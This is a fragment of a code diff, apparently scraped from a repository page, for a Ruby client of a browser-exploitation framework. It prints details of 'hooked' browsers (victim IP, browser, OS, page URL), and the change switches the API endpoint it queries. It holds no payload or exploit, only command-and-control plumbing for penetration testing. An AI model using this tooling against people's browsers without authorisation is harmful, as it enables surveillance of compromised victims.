print_debug details
|
||||
print_verbose "Hooked Browser [id:#{hook['id']}, ip:#{details['IP']}, type:#{details['BrowserName']}-#{details['BrowserVersion']}, os:#{details['OsName']}] on [#{details['PageURI']}]"
|
||||
print_verbose "Hooked Browser [id:#{hook['id']}, ip:#{hook['ip']}]:\n#{details.map{|d| "#{d['key']}: #{d['value']}" }.flatten.join("\n")}"
|
||||
end
|
||||
|
||||
# Retrieve hooked browser logs
|
||||
|
||||
@@ -84,10 +84,11 @@ end
|
||||
# get hooked browser details by session
|
||||
def browser_details session
|
||||
begin
|
||||
print_verbose "Retrieving details for hooked browser [session: #{session}]"
|
||||
response = RestClient.get "#{@url}hooks/#{session}", {:params => {:token => @token}}
|
||||
details = JSON.parse(response.body)
|
||||
print_good "Retrieved browser details for #{details['IP']}"
|
||||
print_verbose "Retrieving browser details for hooked browser [session: #{session}]"
|
||||
response = RestClient.get "#{@url}browserdetails/#{session}", {:params => {:token => @token}}
|
||||
result = JSON.parse(response.body)
|
||||
details = result['details']
|
||||
print_good "Retrieved #{details.size} browser details"
|
||||
details
|
||||
rescue => e
|
||||
print_error "Could not retrieve browser details: #{e.message}"
|
||||
|
||||
Reference in New Issue
Block a user